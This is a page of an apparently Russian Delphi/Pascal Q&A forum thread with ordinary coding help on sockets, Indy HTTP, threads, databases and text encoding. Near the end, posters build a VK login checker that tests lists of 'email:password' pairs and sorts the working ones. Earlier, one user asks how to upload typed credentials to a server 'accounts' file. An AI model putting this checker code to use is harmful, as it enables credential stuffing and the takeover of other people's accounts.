PDA

Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [26] 27 28

denjf
22.04.2010, 08:05
Подскажите где можно почитать инфу про Winsock, желательно где все разжеванно.

wolmer
22.04.2010, 08:11
Подскажите где можно почитать инфу про Winsock, желательно где все разжеванно.
"делфи, в шутку и в серьез, что умеют хакеры" (Михаил Фленов)

Serbies
22.04.2010, 08:44
Подскажите где можно почитать инфу про Winsock, желательно где все разжеванно.
# Сокеты 1 (http://delphiworld.narod.ru/base/sockets1.html)
# Сокеты 2 (Кодинг блокирующих сокетов) (http://delphiworld.narod.ru/base/sockets2.html)
# Сокеты 3 (Кодинг неблокирующих сокетов) (http://delphiworld.narod.ru/base/sockets3.html)
# Сокеты 4 (Использование DScan) (http://delphiworld.narod.ru/base/sockets4.html)
# Сокеты в Delphi (http://delphiworld.narod.ru/base/sockets_in_delphi.html)
# Что такое сокет (http://delphiworld.narod.ru/base/about_socket.html)

# Передать файл через Socket соединение (http://delphiworld.narod.ru/base/send_file_through_socket_connection.html)

И еще на том же сайте про сокеты и сеть (http://delphiworld.narod.ru/_internet_.html)

smail2133
22.04.2010, 11:29
Привет Всем !! У меня проблема с отправкой HTTP POST.
Как сделать чтоб содержымое файла txt отправлялось на сервак при помощи idhttp ???
Подскажите плис очень надо вот моя ася 477080587

[stranger]
22.04.2010, 11:48
Подскажите где можно почитать инфу про Winsock, желательно где все разжеванно.
http://forum.antichat.ru/thread123692-winsock.html

GhostOnline
22.04.2010, 15:36
Привет Всем !! У меня проблема с отправкой HTTP POST.
Как сделать чтоб содержымое файла txt отправлялось на сервак при помощи idhttp ???
Подскажите плис очень надо вот моя ася 477080587
var
http : TIdHttp;
PostData : TStringList;
html : string;
begin
PostData := TStringList.Create;
http := TIdHttp.Create(nil);
try
PostData.LoadFromFile('{тут название файла}');
html := http.Post(URL, PostData);
finally
http.Free;
PostData.Free;
end;
end;

SkyLine32
22.04.2010, 17:13
дайте примерчик как соединиться с БД MySQL, ну если не трудно, как добавить 1 таблицу. спасибо!

Ponchik
22.04.2010, 17:33
И снова здравствуйте

if (isGame AND userID > 0) then
говорит
Operator not applicable to this operand type

isGame = boolean
userID = integer
=========
разобрался
if (isGame) AND (userID > 0) then

xafon
22.04.2010, 17:56
SkyLine32, на счет соединения с базой гляньте вот тут (http://www.interface.ru/home.asp?artId=4937).

Ponchik
22.04.2010, 18:03
а у мя снова трабла =\
StrToInt('й');
прога вылетает, хотя по идее должна вернуть 0... ну пых возвращает 0 =\ А дельфи говорит "й is not integer value"
И чё делать

h(f)ucker
22.04.2010, 18:09
а у мя снова трабла =\
StrToInt('й');
прога вылетает, хотя по идее должна вернуть 0... ну пых возвращает 0 =\ А дельфи говорит "й is not integer value"
И чё делать

Try, except:


x:string;

Try
StrToInt(x);
except(выполняется в случае возникновения ошибки)
//выводим сообщение об ошибке или еще что-то


Можно еще обработчик ошибок отключить:
{$I-} //выключаем
код
{$I+} //включаем

Ponchik
22.04.2010, 18:11
h(f)ucker, круто :eek: работает

Мля, не... Я чёто там нето сделал или хз, в общем делаю так

Try
ID := StrToInt(text);
end;

и он просит "EXCEPT"
непонимаю как юзать...
Мне надо если не получилось, то сделать ID := 0;
=============
Try
count := StrToInt('q');
except
count := 0;
End;
вот так компилится, но всёравно падает с ошибкой

GhostOnline
22.04.2010, 18:32
try
ID := StrToInt(text);
except
ID := 0;
end;

вот так компилится, но всёравно падает с ошибкой
Запусти без отладчика

Ponchik
22.04.2010, 18:37
Запусти без отладчика
аха, работат... спс

buket
22.04.2010, 18:59
есть у кого функция генерации человекоподобных логинов?

dark-klin
22.04.2010, 19:04
Товарищи может кто нибудь решить первую задачу PASCAL ABC с FOR и WHILE http://ipicture.ru/upload/100422/85oWRRrV7g.jpg

Ponchik
22.04.2010, 21:06
есть у кого функция генерации человекоподобных логинов?
делаеш строку согласных буков
строку гласных буков
и ставиш их друг за другом (отпределяеш на чётность i или чё ты юзаеш) и получается очень даже ничего

SkyLine32
22.04.2010, 21:12
SkyLine32, на счет соединения с базой гляньте вот тут (http://www.interface.ru/home.asp?artId=4937).
не помогло... компоненты установил, но их не видно ((

НУ СКАЖИТЕ КАК ПОДКЛЮЧИТЬСЯ К БАЗЕ MYSQL
ПРОБОВАЛ ЭТУ (http://forum.xakep.ru/m_1180754/tm.htm) СТАТЬЮ, ВЫДАЛО ОШИБКУ ЧТО ПРОБЛЕМЫ С ФАЙЛОМ. ПИШЕТ "НЕВОЗМОЖНО ЗАГРУЗИТЬ libmysql.dll", ХОТЯ ЭТОТ ФАЙЛ ЕСТЬ В ПАПКЕ С ПРОГОЙ... И ЧЁ ДЕЛАТЬ ХЗ

SkyLine32
22.04.2010, 23:11
Товарищи может кто нибудь решить первую задачу PASCAL ABC с FOR и WHILE http://ipicture.ru/upload/100422/85oWRRrV7g.jpg
uses crt;
var
n,i:integer;
s:real;
begin
clrscr;
writeln('Vvedite N');
readln(n);
i:=1;
while i<=n do
begin
s:=sqrt(s+sqrt(2*i));
i:=i+1;
end;
writeln('s=',s:3:3);
readln;
end.

aydar
23.04.2010, 12:47
Ребят есть пару вопросов:

1. в мемо записываю какието записи, есть ли кактео ограничения, если доп хочу загрузить в мемо 1лям мыл не зависнет, или лутше все считывать из текстового файла в массив

2.как увеличить скорость загрузки программы?

3. как делаються счетчики элементарные в дельфи и таймер

astonilya
23.04.2010, 16:00
Здравстуйте,помоги плз решить один вопросс:

Вот пишу icq bot и хочу что бы он мог обрабатывать сразу несколько комманд одновременно, тоесть как я понял делается это через потоки, ток немогу сообразить как...
P.S дайте кто нить пример кода...

Сredo
23.04.2010, 16:11
Здравстуйте,помоги плз решить один вопросс:

Вот пишу icq bot и хочу что бы он мог обрабатывать сразу несколько комманд одновременно, тоесть как я понял делается это через потоки, ток немогу сообразить как...
P.S дайте кто нить пример кода...
Ты пользуешься компонентом?Тогда каким именно.

astonilya
23.04.2010, 16:14
Ты пользуешься компонентом?Тогда каким именно.

Ticqclient v1.34
P.S напиши плз icq в ПС есть пару вопроссов...

stepashka_
23.04.2010, 17:32
Дельфи
Подскажите, есть edit1 edit2 как сделать что бы при нажатии на button данные из edit1 edit2 записывались в тхт файл на сервере? Например www.сайт.ru/акк.txt

SkyLine32
23.04.2010, 17:56
Дельфи
Подскажите, есть edit1 edit2 как сделать что бы при нажатии на button данные из edit1 edit2 записывались в тхт файл на сервере? Например www.сайт.ru/акк.txt
procedure TForm1.Button1Click(Sender: TObject);
begin
IdFTP1.Host := 'host';
IdFTP1.Username := 'login';
IdFTP1.Password := 'pass';
IdFTP1.Connect(true);
IdFTP1.Put(Edit1.Text,'test.txt' ,false);
IdFTP1.Disconnect;
end;
компонент IdFTP1 и антифриз

aydar
23.04.2010, 18:29
Ребят есть пару вопросов:

1. в мемо записываю какието записи, есть ли кактео ограничения, если доп хочу загрузить в мемо 1лям мыл не зависнет, или лутше все считывать из текстового файла в массив

2.как увеличить скорость загрузки программы?

3. как делаються счетчики элементарные в дельфи и таймер

SkyLine32
23.04.2010, 20:40
Дельфи
Подскажите, есть edit1 edit2 как сделать что бы при нажатии на button данные из edit1 edit2 записывались в тхт файл на сервере? Например www.сайт.ru/акк.txt
вот пример точно будет работать...

Procedure TForm1.Button1Click(Sender: TObject);
var
F : TextFile;
S : String;
Begin
idFTP1.Host := 'Host';
idFTP1.Port := 21;
idFTP1.Username := 'Username';
idFTP1.Password := 'Password';
idFTP1.Connect;

AssignFile(F, 'test.txt');
Rewrite(F);
S := Edit1.Text;
WriteLn(F,S);
CloseFile(F);

IdFTP1.Put('test.txt', 'test.txt', False);

End;
procedure TForm1.Button2Click(Sender: TObject);
begin
IdFTP1.Disconnect;
end;
и не забудь поставить passive = true

JnK
23.04.2010, 22:42
Ребят есть пару вопросов:

1. в мемо записываю какието записи, есть ли кактео ограничения, если доп хочу загрузить в мемо 1лям мыл не зависнет, или лутше все считывать из текстового файла в массив

2.как увеличить скорость загрузки программы?

3. как делаються счетчики элементарные в дельфи и таймер
1. Лучше массив или StringList, по простой причине не будет отображаться значит скорость больше, но если все же надо отображать, то есть команды вроде как увеличивывают скорость.
Memo1.Lines.BeginUpdate;
Memo1.Lines.EndUpdate;

2. При запуске грузить минимум, а потом уже подгружать. типа программа, а база мыл и т.д. уже потом.

3. Поток+Цикл+Sleep = таймер

JnK
23.04.2010, 22:45
не помогло... компоненты установил, но их не видно ((

НУ СКАЖИТЕ КАК ПОДКЛЮЧИТЬСЯ К БАЗЕ MYSQL
ПРОБОВАЛ ЭТУ (http://forum.xakep.ru/m_1180754/tm.htm) СТАТЬЮ, ВЫДАЛО ОШИБКУ ЧТО ПРОБЛЕМЫ С ФАЙЛОМ. ПИШЕТ "НЕВОЗМОЖНО ЗАГРУЗИТЬ libmysql.dll", ХОТЯ ЭТОТ ФАЙЛ ЕСТЬ В ПАПКЕ С ПРОГОЙ... И ЧЁ ДЕЛАТЬ ХЗ

На форумах полазий, там есть измененый libmysql.dll который работает на ура.
Просто для MySQL 4.xx не подходит файл от 5, так же как для 5 файл от 5.1. Но есть чуть измененые которые работают и на 5 и на 4 версиях сервера.

JnK
23.04.2010, 22:49
есть у кого функция генерации человекоподобных логинов?

По словарю разве только.
1. Типа рандом из словаря
2. Рандом на использование 2 слов (например если слово меньше 4 букв)

[stranger]
23.04.2010, 22:57
1. Лучше массив или StringList, по простой причине не будет отображаться значит скорость больше, но если все же надо отображать, то есть команды вроде как увеличивывают скорость.

угу, подгружаешь файлик в гиг, он себе комфортно размещается в оперативке попутно убив комп.. :(

JnK
24.04.2010, 00:44
']угу, подгружаешь файлик в гиг, он себе комфортно размещается в оперативке попутно убив комп.. :(

Ну 1 лям записей это явно не 1 гиг , Но если уж на то пошло, то как ни крути, если тебе хочется загрузить в программу, будь то мемо, массив или хз что, в оперативе файл будет висеть условно. Хотя винда распределит ресурсы :) надеюсь.
А насчет убивать комп, зависит от кривизны рук кодера. Можно и одной строкой загнуть комп до состояния - не стояния..

P.s. Кто мешает тебе программно порезать файлить и подгружать частями?

[stranger]
24.04.2010, 01:06
Но если уж на то пошло, то как ни крути, если тебе хочется загрузить в программу, будь то мемо, массив или хз что, в оперативе файл будет висеть условно. Хотя винда распределит ресурсы :) надеюсь.
да кто тебя заставляет читать весь файл сразу??? читай себе по мере необходимости.. но никакими TStringList у тебя этого не выйдет.. так что если не уверен - не советуй!

GhostOnline
24.04.2010, 02:19
к предыдущему моему сообщению: astonilya ссори не так прочел сообщение
EndLeSSDre@M
randomize; for i:=1 to 20 do mmo1.Text := mmo1.Text+' '+chr(Random(80)+48); - будет генерировать латинские буквы во всех регистрах + цифры
(ссори за неоформленность)
Что-то не знал про функцию chr...спасибо, интересная оказалась
Сейчас мне понадобилось генерить только буквы, и большие и маленькие, накидал функцию может кому пригодится. На вход функции подается количество нужных символов а возвращается строка:

function RandWord(count : integer): string;
var
I: Integer;
begin
result := '';
for I := 0 to count - 1 do
case random(2) of
0: result := result + chr(Random(26)+65);
1: result := result + chr(Random(26)+97);
end;
end;

InfectedM
24.04.2010, 02:21
Отправляю сообщение на форуме.
Вместо русского текста (каторый в memo3.text) отправляются иероглифы :
Уважаемый пользователь.
Send.Add('username=~Maya~');
Send.Add('message='+memo3.Text);
Send.Add('attach_sig=on');
Send.Add('folder=inbox');
Send.Add('mode=post');
Send.Add('post=%CE%F2%EF%F0%E0%E2%E8%F2%FC');
ReplyData.Position:=0;
idhttp1.Post('/forum/privmsg.php', Send,ReplyData );

Подскажите плз

[stranger]
24.04.2010, 02:41
кодировка

InfectedM
24.04.2010, 02:51
На сайте стоит charset=windows-1251
в проге стоит
IdHTTP1.Request.AcceptCharSet:='windows-1251';
IdHTTP1.Request.CharSet:='windows-1251';

utf8encode пробовал - не помогло
что еще нужно сделать?

AlexTheC0d3r
24.04.2010, 07:25
На сайте стоит charset=windows-1251
в проге стоит
IdHTTP1.Request.AcceptCharSet:='windows-1251';
IdHTTP1.Request.CharSet:='windows-1251';

utf8encode пробовал - не помогло
что еще нужно сделать?
utf8ToAnsi();
ansiToUtf8();

JnK
24.04.2010, 08:26
']да кто тебя заставляет читать весь файл сразу??? читай себе по мере необходимости.. но никакими TStringList у тебя этого не выйдет.. так что если не уверен - не советуй!
1. Немного от темы ушел, разговор был о 1 000 000 записей, а не 1 Гб . с чем TSrtingList справляется (проверял). (ограничение 268435455 строк), что бы программа не зависала, лучше запихнуть в поток :)

2. Критика хорошо, но может тогда подскажешь свой метод решения его проблемы?

[stranger]
24.04.2010, 13:46
hF := CreateFile(PChar(filename), GENERIC_READ, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);


и потом читаешь себе файл через

ReadFile(hF, buff, 4096, rb, nil);

GhostOnline
24.04.2010, 16:08
есть у кого функция генерации человекоподобных логинов?
http://forum.antichat.ru/thread198857.html

Pr0mo
24.04.2010, 22:28
Кто-нибудь имел дело с базами данных, а именно с компонентами ADO для баз данных MS Access? Помоготе, пожалуйста понять как сделать SQL - запрос.

Вот небольшой отрывок из моего кода. Запрос как я понимаю обрабатывается корректно, потому что результат функции ExecAQL равен 0. Но вот как мне получить обработанные данные запроса? Как их можно просмотреть? Пробовал связать ADOQuery с компонентами обработки баз данных , но безуспешно. Прошу помощи тех, кто имел с этим дело :) Заранее благодарен.

ADOQuery.SQL.Add('SELECT Password FROM Users WHERE Users="Some"');
ADOQuery.ExecSQL;

InfectedM
24.04.2010, 23:00
Отправляю сообщение на форуме.
Вместо русского текста (каторый в memo3.text) отправляются иероглифы :
Уважаемый пользователь.
Цитата:
Send.Add('username=~Maya~');
Send.Add('message='+memo3.Text);
Send.Add('attach_sig=on');
Send.Add('folder=inbox');
Send.Add('mode=post');
Send.Add('post=%CE%F2%EF%F0%E0%E2%E8%F2%FC');
ReplyData.Position:=0;
idhttp1.Post('/forum/privmsg.php', Send,ReplyData );


Подскажите плз


На сайте стоит charset=windows-1251
в проге стоит
IdHTTP1.Request.AcceptCharSet:='windows-1251';
IdHTTP1.Request.CharSet:='windows-1251';

utf8encode пробовал - не помогло
что еще нужно сделать?

utf8ToAnsi();
ansiToUtf8();

не помогло, всеравно иероглифы :(

Sin3v
25.04.2010, 14:10
Delphi - Procedure
значит вот
TForm1 = class(TForm)
.......
procedure LoadContactList; //сюда добавил
......
потом сама процедура:
procedure LoadContactList;
var
i,p1,p2,a,p: Integer;
s: String;
begin
...
Form1.ListBox2.Items.Add(s);
...
end;
и обращение к ней
Form1.LoadContactList;
Кажется все правильно написал, н опри компиляции ругается на эту строку : procedure LoadContactList;
ошибка: [Error] Unit1.pas(58): Unsatisfied forward or external declaration: 'TForm1.LoadContactList'
Что не так?

h(f)ucker
25.04.2010, 14:14
"потом сама процедура:"
procedure TForm1.LoadContactList

А обращение наоборот можно просто:
LoadContactList(параметры);

Sin3v
25.04.2010, 14:19
"потом сама процедура:"
procedure TForm1.LoadContactList

А обращение наоборот можно просто:
LoadContactList(параметры);
procedure TForm1.LoadContactList млин точно)
а параметров у меня нету)
Ну вообщем работает занкс)

stepashka_
25.04.2010, 14:29
Люди добрые, подскажите что почитать по работе с indy

GhostOnline
25.04.2010, 14:36
Юзай сокеты, тебе же уже отвечали

stepashka_
25.04.2010, 15:07
GhostOnline, не нужны мне пока сокеты

GhostOnline
25.04.2010, 15:33
Имеешь свое мнение а не следуешь слепо советам - это хорошо.
Если хочешь понять как работает инди то читай книгу Глубины Indy,
но конкретных примеров там почти нету, и больше книг именно по инди нет.
Я узнавал все таким образом: допустим хочу программно залогиниться на сайте вбиваю в гугл авторизация IdHttp - читал статьи, выполнял все также, потом подставлял свои ссылки и т.д. Тут как бы с практикой знания приходят, а не чтением.
И обязательно почитай хотя бы про основы протокола с которым хочешь работать.

http://parsing-and-i.blogspot.com/search/label/IdHTTP

HakaR
25.04.2010, 16:00
Вопрос:
Браузер на сайт отправляет запрос
ajax_new.php?to=1319609&m=0&type=0&url=&title=&rand=0.7700298510159739
Все параметры, кроме rand=0.7700298510159739 мне известны. Я так понял что этот параметр генерируется ява скриптом на сайте, а потом передается в запросе.
Так вот как мне сгенерировать этот параметр? Или как узнать где на сайте находится этот скрипт который генерирует параметр?

stepashka_
25.04.2010, 16:02
GhostOnline, спасибо!

GhostOnline
25.04.2010, 16:11
Вопрос:
Браузер на сайт отправляет запрос
ajax_new.php?to=1319609&m=0&type=0&url=&title=&rand=0.7700298510159739
Все параметры, кроме rand=0.7700298510159739 мне известны. Я так понял что этот параметр генерируется ява скриптом на сайте, а потом передается в запросе.
Так вот как мне сгенерировать этот параметр? Или как узнать где на сайте находится этот скрипт который генерирует параметр?
Проверь влияет ли значение этого параметра на ответ сервера. Если нет то можно тупо генерить случайные числа и конвертировать их в строку.
А если влияет - попробуй в исходном коде найти упоминание этого параметра, тогда возможно найдешь функцию, и тогда уже станет ясно.

HakaR
25.04.2010, 16:13
stepashka_, пробуй методом тыка, смотри чужие сорцы как там все работает, и конечно же Google.

GhostOnline, сейчас попробую.

winlogon.exe
25.04.2010, 17:18
напишите плиз пример программы которая работает с потоками. С исходником плиз(создающая например в мемо цифры от 1 до 10000 в несколько потоков чтобы софт не зависал). Не могу разобраться с потоками.(

[stranger]
25.04.2010, 17:22
поток создаешь через TThread? или апишными функциями?

winlogon.exe
25.04.2010, 17:56
da

[stranger]
25.04.2010, 18:02
что да? да - TThread или да - апи? о_О

если через TThread то пишешь в созданном потоке процедурку такого вида

procedure MyThread.updmemo(str: string);
begin
memo1.lines.add(str);
end;


и в execute пишешь

var i: integer;
begin
for i := 0 to 1024 do
Synchronize(updmemo(inttostr(i)));
end;

для того чтобы не вешать форму надо все вычисления выполнять до синхронизации!
например код что выше не будет вешать форму, а этот будет

procedure MyThread.updmemo();
var i: integer;
begin
for i := 0 to 1024 do
memo1.lines.add(inttostr(i));
end;


в execute

begin
Synchronize(updmemo);
end;

heretic1990
25.04.2010, 22:48
как сделать так чтобы можно было перемещать, перетаскивать форму за объект Image расположенном на этой форме?

Qb1024
25.04.2010, 22:52
как сделать так чтобы можно было перемещать, перетаскивать форму за объект Image расположенном на этой форме?
Сделай обработку на нажатии мышкой по объекту и меняй координаты формы вслед за движениями мышью.

heretic1990
25.04.2010, 23:10
Сделай обработку на нажатии мышкой по объекту и меняй координаты формы вслед за движениями мышью.
думал уже об этом, а по другому никак?

вот что у меня получилось:
procedure TForm1.Image4MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
kod:tpoint ;
begin
getcursorpos(kod);
form1.left:=(kod.X);
form1.Top:=(kod.Y);
end;
форма просто перепрыгивает, а как сделать так чтобы она перетаскивалась?

Ответ найден. выход из положения:
ReleaseCapture;
Perform(WM_SYSCOMMAND, $F012, 0);

090808
26.04.2010, 02:32
как сделать так чтобы можно было перемещать, перетаскивать форму за объект Image расположенном на этой форме?

OnMouseMove


ReleaseCapture;
SendMessage(Form1.Handle,WM_NCLBUTTONDOWN,HTCAPTIO N,0);

090808
26.04.2010, 02:37
напишите плиз пример программы которая работает с потоками. С исходником плиз(создающая например в мемо цифры от 1 до 10000 в несколько потоков чтобы софт не зависал). Не могу разобраться с потоками.(



unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,StdCtrls, ExtCtrls;


type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

TNewThread = class(TThread)
private
protected
procedure Execute; override;
public
constructor Create(CreateSuspended: Boolean);
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;

procedure TNewThread.Execute;
var StrPage:string;
begin
Form1.Memo1.Tag := Form1.Memo1.Tag+1;
Form1.Memo1.Lines.Add(Inttostr(Form1.Memo1.tag));
end;


procedure TForm1.Timer1Timer(Sender: TObject);
begin
TNewThread.Create(false); //создаём поток
TNewThread.Create(false);
TNewThread.Create(false);
TNewThread.Create(false);
end;




Тупенький,но за то рабочий пример многопоточности :)

HakaR
26.04.2010, 08:39
Короче на сайте отправка мессаг через ajax.
Я с помощью xmlhttp отправляю запрос, все вроде бы нормально, но мои куки в запросе не передаются(вообще любой мой хидер непередается). Вот функция отправки:
function xmlhttp(cook: string):String;
var
xmlHttp:Olevariant;
responseText:Widestring;
begin
with Form1 do
begin
if (Length(url.Text)>0) then
begin
xmlHttp := CreateOleObject('Msxml2.XMLHTTP');
xmlHttp.open('Post', url.text, false);
xmlHttp.setRequestHeader('Content-Transfer-Encoding', 'binary');
xmlHttp.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xmlHttp.setRequestHeader('Cookie', cook);
xmlHttp.send('to='+id.text+'&itype=0&ititle=&iurl=&action=im_ajax_new&text='+text.lines.text+'&file=');
result:=xmlHttp.responseText;
showmessage(result);
end;
end;
end;
Уже хз что делать...вчера вроде ещё все норм было :(

denjf
26.04.2010, 10:48
Как решить такую траблу:

Delphi 2007
Indy 10.?? самая последняя

s.text:=http.get('http://odnoclassniki.ru');
Все русские символы приходят вот так

N?DoD?D>D?, N?N?D,D>D,N?D?, N?D?N?D?D,DoN?D?, DoD?D>D>D?D?D?, D?N?N?, D,D?N?N?D,N?N?N?, N?D?D,D2D?N?N?D,N?D?N?, D2N?D., D?D?D?D?DoD>D?N?N?D?D,Do, D?D?D?D?DoD>D?N?N?D?

На сайте кодировка Utf-8

HakaR
26.04.2010, 11:00
Utf8ToAnsi, не?
procedure TForm1.Button4Click(Sender: TObject);
var res: string;
begin
res := http.Get('http://www.odnoklassniki.ru');
text.Lines.Add(Utf8ToAnsi(res));
end;

denjf
26.04.2010, 11:12
Utf8ToAnsi, не?

Не срабатало.

GhostOnline
26.04.2010, 12:49
Как решить такую траблу:

Delphi 2007
Indy 10.?? самая последняя

s.text:=http.get('http://odnoclassniki.ru');
Все русские символы приходят вот так

N?DoD?D>D?, N?N?D,D>D,N?D?, N?D?N?D?D,DoN?D?, DoD?D>D>D?D?D?, D?N?N?, D,D?N?N?D,N?N?N?, N?D?D,D2D?N?N?D,N?D?N?, D2N?D., D?D?D?D?DoD>D?N?N?D?D,Do, D?D?D?D?DoD>D?N?N?D?

На сайте кодировка Utf-8
Установить себе наконец дельфи 2009
Интересно, зачем тебе http://odnoСlassniki.ru

InfectedM
26.04.2010, 15:46
попробуй в стрим принимать
var
ReplyData: TStringStream;
begin
ReplyData := TStringStream.Create('');

idhttp1.get('http://www.qwe.ru/', ReplyData);
memo1.text := ReplyData.DataString; //

090808
26.04.2010, 21:24
Как решить такую траблу:

Delphi 2007
Indy 10.?? самая последняя

s.text:=http.get('http://odnoclassniki.ru');
Все русские символы приходят вот так

N?DoD?D>D?, N?N?D,D>D,N?D?, N?D?N?D?D,DoN?D?, DoD?D>D>D?D?D?, D?N?N?, D,D?N?N?D,N?N?N?, N?D?D,D2D?N?N?D,N?D?N?, D2N?D., D?D?D?D?DoD>D?N?N?D?D,Do, D?D?D?D?DoD>D?N?N?D?

На сайте кодировка Utf-8

Решается очень просто.
Проверил,работает.

idhttp1.get(UTF8Decode('http://odnoclassniki.ru'));

SkyLine32
27.04.2010, 00:09
Скажите, как из StringGrid вывести в Label все Cells по порядку и с промежутком времени? к примеру: сперва Cells[2,1] показали в Label, прошло 5 секунд, потом Cells[2,2] и т.д...

h(f)ucker
27.04.2010, 00:38
SkyLine32
Используй компонент таймер, событие OnTimer(свойство интервал = 5000):

procedure TForm1.Timer1Timer(Sender: TObject);
begin
j:=j+1;
if j = n then
begin
i := i+1;
j:=1;
end;
Label1.caption:=StringGrid[i,j];
end;


Или можно еще через Sleep(time);
но программа будет "подвисать"

[stranger]
27.04.2010, 00:43
Или можно еще через Sleep(time);
но программа будет "подвисать"
изват конечно, но видимость работы формы сохраняется.. :)

for i:=0 to 100 do
begin
Application.ProcessMessages;
sleep(100);
end;

SkyLine32
27.04.2010, 04:03
я правильно понял?
procedure TForm1.Timer1Timer(Sender: TObject);
var
j, n, k: integer;
begin
j:=j+1;
if j = n then
begin
k := k+1;
j:=1;
end;
Label1.caption := StringGrid1.Cells[k,j];
end;
если да, то это не работает.

denjf
27.04.2010, 06:15
idhttp1.get(UTF8Decode('http://odnoclassniki.ru'));

Не сработало ((

RumShun
27.04.2010, 06:17
procedure TForm1.Timer1Timer(Sender: TObject);
var
j, n, k: integer;
begin
j:=j+1;
if j = n then
begin
k := k+1;
j:=1;
end;
Label1.caption := StringGrid1.Cells[k,j];
end;
ещебы это работало
j:=j+1;
if j = n then
и j, и n, и k локальные нигде не определенные переменные, и может я и туплю но смысл кода невкурил ((

SkyLine32
27.04.2010, 08:00
пример решён, спасибо RumShun
procedure TForm1.Timer1Timer(Sender: TObject);
begin
label1.Caption:=UrlLIst.Cells[2,j];
inc(j);
application.ProcessMessages;
end;

iGlass
27.04.2010, 09:02
Люди добрые! Помогайте плиз) А то я скоро на отличненько...

Задача такая нужно написать Клиент\Сервер на Winsock!

Функционал придельно прост! Клиент отправляет текст, сервер отображает его в Мемо...

Вот я тут навая немного. Но ничё не выходит...


WSAStartup(MakeWord(2,2),WSA);

hSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hAddr.sin_family:=AF_INET;
hAddr.sin_port:=htons(wPort);
hAddr.sin_addr.S_addr:=inet_addr(Pchar(ipEdit.Text ));
bind(hSocket,hAddr,Len);
listen(hSocket,len);
while buffer = '' do // Вот тут всё виснет...
recv(hSocket,buffer,1024,0);
Application.ProcessMessages;
DisplayLog.Lines.Add('----------------');
DisplayLog.Lines.Add(buffer);
DisplayLog.Lines.Add('----------------');


Может я в клиете косячу? Отправляю буфер функцией Send. в msdn не отправлять.. уже был и не раз.. И как разобратся с циклом чтоб он не вешал программу?

Заранее Охринительное спасибо!

GhostOnline
27.04.2010, 09:28
В винсок не специалист, но тут понятно что buffer = '' и прога зацикливается.
К тому же я всегда думал что buffer должен быть числовым, ошибаюсь?
function recv(s: tsocket; var buf; len, flags: integer): integer; stdcall;

iGlass
27.04.2010, 09:32
While buffer='' do - Пока буффер пустой мы делаем.. Но как сделать чтоб она не зацикливалась? мб sleep() поможет?

GhostOnline
27.04.2010, 09:40
http://pastebay.com/95742 пример сервера
Там где комменты можешь перекодировать обратно на русский тут: http://www.artlebedev.ru/tools/decoder/
Но как сделать чтоб она не зацикливалась? мб sleep() поможет?
Если только в отдельном потоке, ил ив консольном приложении, в противном случае будет виснуть интефейс

iGlass
27.04.2010, 09:46
А как в потоке замутить? Знаю что поток TThread.

Создаю его c CreateSuspend:=True;

Но как поместить в него цикл?

мб вот так?

Thread.Resume;
while buffer='' do
recv()
Thread.Terminate; ???

GhostOnline
27.04.2010, 09:51
Имхо тебе не стоит в данном случае заморачиваться пока с потоками, потому что проблема скорее всего в неправильной реализации работы клиента или сервера

Вообще, когда создаешь Thread Object в дельфи то создается заготовка, код потока вставляешь в тело процедуры Execute.
А использовать так:
var
thread : TmyThread;
begin
thread := TMyThread.Create(false);
end;

iGlass
27.04.2010, 11:03
Спасибо, вроде разобрался.. Попытаюсь всё таки на GUI реализовать...

patcher
27.04.2010, 13:16
А как в потоке замутить? Знаю что поток TThread.

Создаю его c CreateSuspend:=True;

Но как поместить в него цикл?

мб вот так?

Thread.Resume;
while buffer='' do
recv()
Thread.Terminate; ???
Вот очень хорошая статья по потокам, сам с нее начинал:
http://www.delphikingdom.com/asp/viewitem.asp?catalogid=1370

stepashka_
27.04.2010, 16:37
Подскажите))
Дельфи
Есть ссылка http://login.vk.com/?act=login&email=мыло&pass=пасс&expire=&vk=
как сделать что бы при нажатии на кнопку из memo бралась строчка ololo.mail.ru:password разделялась и подставлялась в ссылку. На местро мыло нужно что бы вставало ololo.mail.ru на место пасс password.
Спасибо.

TrueBit
27.04.2010, 16:45
Подскажите))
Дельфи
Есть ссылка http://login.vk.com/?act=login&email=мыло&pass=пасс&expire=&vk=
как сделать что бы при нажатии на кнопку из memo бралась строчка ololo.mail.ru:password разделялась и подставлялась в ссылку. На местро мыло нужно что бы вставало ololo.mail.ru на место пасс password.
Спасибо.
var
log,pass: string;
begin
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=

fenixelite
27.04.2010, 16:47
Писал прям тут, но вроде должно работать...

var
s,pass,mail:string;
i:integer;
begin
i:=pos(':',memo.lines[1]);
mail:=copy(memo.lines[1],1,i-1);
pass:=Copy(memo.Lines[1],i+1,length(memo.lines[1]);
s:='http://login.vk.com/?act=login&email='+mail+'&pass='+pass+'&expire=&vk=';
end;

stepashka_
27.04.2010, 17:24
Дельфи
есть код

procedure TForm1.Button3Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
ShowMessage('ne ok')
else
begin
ShowMessage('ok');
memo2.Lines.Add(uns);
Как сделать что бы после успешной авторизации, мыло:пасс выводилось в мемо2 а если авторизация не прошла выводилось в мемо3.

